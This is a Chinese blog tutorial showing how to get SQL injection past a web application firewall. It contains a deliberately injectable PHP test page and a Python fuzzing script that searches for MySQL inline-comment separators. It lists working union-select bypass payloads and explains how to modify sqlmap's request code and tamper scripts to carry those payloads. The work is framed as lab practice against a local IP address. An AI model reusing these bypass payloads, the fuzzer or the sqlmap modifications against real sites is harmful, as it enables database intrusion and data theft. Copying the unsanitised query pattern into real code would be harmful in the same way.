admin管理员组

文章数量:1602097

你的时间有限,所以不要为别人而活。不要被教条所限,不要活在别人的观念里。不要让别人的意见左右自己内心的声音。最重要的是,勇敢的去追随自己的心灵和直觉,只有自己的心灵和直觉才知道你自己的真实想法,其他一切都是次要。—– 乔布斯

0X00    前言

脚本很简单,练练手。

站点安装了最新的safe狗,简单搭建了一个注入页面进行注入测试。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

$conn = mysql_connect('localhost', 'root', '123456') or die('bad!');

mysql_query("SET NAMES binary'");

mysql_select_db('test', $conn) OR emMsg("数据库连接失败");

$id = isset($_GET['id']) ? $_GET['id'] : 1;

$sql = "SELECT * FROM news WHERE id=$id";

$result = mysql_query($sql, $conn) or die(mysql_error());

?>

Test demo

echo $sql;

$row = mysql_fetch_array($result, MYSQL_ASSOC);

echo "

{$row['title']}
 {$row['content']}";

mysql_free_result($result);

?>

先关闭WAF,手动测试。

正常。

开启WAF,手动测试。

拦截。

0X01    Fuzzing脚本编写

使用MySQL内联注释来对其进行绕过

MySQL注释

/**/

在 /* 后加上! 里边的语句也依旧会执行

/*!select * from xxx*/

url:http://192.168.25.133/sql.php?id=1

编写py脚本来进行fuzzing union和select之间的空格,只嵌套了四层,对这个脚本也还没进行优化,因为收集了另外一些比较好的Fuzz脚本,完了在学习学习

id=1的时候所出现的值为hhhhtest,所以只判断当加入了payload时,此值会不会出现在页面中,以此来判断是否成功

运行脚本前记得把waf的防cc攻击关闭,不然会ban ip

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

#!-*- coding:utf-8 -*-

#!/usr/bin/env python

import requests, sys

fuzz_zs = ['/*','*/','/*!','/**/','?','/','*','=','`','~','@','|','!','%','.','-','+','%00','%20','%09','%0a','%0d','%0c','%0d','%a0']

fuzz_sz = ['']

fuzz_ch = ['%0a','%0d','%0c','%0d','%0e','%0f','%0g','%0h','%0i','%0j','%0h','%0i','%0j','%0k','%0l','%0m','%0n','%0o','%0p','%0q','%0r','%0s','%0t','%0u','%0v','%0w','%0x','%0y','%0z']

fuzz = fuzz_zs + fuzz_sz + fuzz_ch

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}

url_start = 'http://192.168.25.133/sql.php?id=1'

lens = len(fuzz)**4

num = 0

#只嵌套了4层

for a in fuzz:

for b in fuzz:

for c in fuzz:

for d in fuzz:

num += 1

payload = "/*!union" + a + b + c + d + "select*/ 1,2,3"

url = url_start + payload

print("Now URL:" + url)

print "Process %s / %s"%(num,str(lens))

# sys.stdout.write("Process:%s / %s r"%(num,str(lens)))

# sys.stdout.flush()

res = requests.get(url,headers=headers)

if "hhhhtest" in res.text:

with open('Result.txt','a') as r:

r.write(url + "n")

所获payload:

http://192.168.25.133/sql.php?id=1/*!union/*/*%/**/select*/ 1,2,3

http://192.168.25.133/sql.php?id=1/*!union*//*/*%/**//*!select*/%201,2,3

没有被拦截,当然下一步骤如果要找表名列名也还是会被拦截,因为会对一些系统函数以及特殊关键字进行一定的拦截,这个绕过就属于其他方法。

绕过空格的也不能说很鸡肋,也学习到了一个特性,mysql函数的字母和括号之间是可以用空格的。

所以根据这个特性,对其来使用payload进行绕过。

因为查询出来了两条数据,而只有一个显位,所以要将上一条语句报错,从而使得下一条语句的结果输出到上一条语句的位置上。

在这还要说一下的就是union注入的条件:1、相同的列数,2、相似的数据编码,3、相同的数据类型。

OJBK。

0X02    修改sqlmap进行注入绕过

sqlmap无疑是自动化注入的神器,当我们测出payload但是工具却注入不了,除了以前学习的修改sqlmap源码中的发包方式,二来就是需要我们去写sqlmap脚本。

先查看两个脚本:

versionedkeywords————用mysql注释包围每个关键字

versionedmorekeywords————用mysql注释包围每个非函数关键字

发现脚本中将关键字都被/*!xxx*/所包围

用sqlmap跑一下看内置的内不能过了WAF

我们得到的这款payload:

1

2

sql.php?id=1/*!union/*/*%/**/select*/ 1,2,3

sql.php?id=1/*!union*//*/*%/**//*!select*/ 1,2,3

原视频中测试的payload

1

sql.php?id=1 /*!/*!union*//*!/*!select*/ 1,2,3

修改起来很简单,直接在原来的/*!前边再重复一次就可以了

然后指定脚本就可以对目标URL进行注入了。

fuzz之后可以对比一下,看payload有没有特定的规律,对fuzz payload的位置进行一些测试

方法一:修改发包函数:

还是老办法啦,在发包函数中进行修改,因为这里测试的是union查询,所以直接修改union发包函数,在里边加上我们的payload

OK,发包也满足我们所测试得出payload的基本格式,实际拿过去测试也是OK,但是sqlmap并没有测成功。

因为对于有些关键字进行了绕过,而对于很多sqlmap发包时的比如像一些函数,他并不会把函数名称和括号进行这样的匹配,总的来说想要探其根源还是得老老实实把sqlmap这款优秀工具的源码读一遍,留作业。

方法二:修改tamper脚本

测试得到的两款payload,都差不多,只不过是一个闭合了单个关键字的注释一个没有,都是使用/*/*%/**/来将关键字隔开。

针对payload来对tamper脚本进行修改:

因为是使用mysql注释来进行关键字的闭合,所以看一下原脚本是怎么用的,在里边微调一下就OJBK了。

payload中对关键字两边使用了/*!word*/中间的空格使用了/*/*%/**/所以我们将其修改为我们payload所对应的格式并重新保存。

确定脚本中变动的位置

第一个位置:

在关键字的闭合后添加,但是会导致脚本出错,还没读源码

第二个位置:

当检索到payload关键字中*/space,将其更改为*/payload。

原创作者:yokeen

参考来源:https://www.addon.pub/

如有侵权,请联系删除

本文标签: 脚本CCPythonFuzzing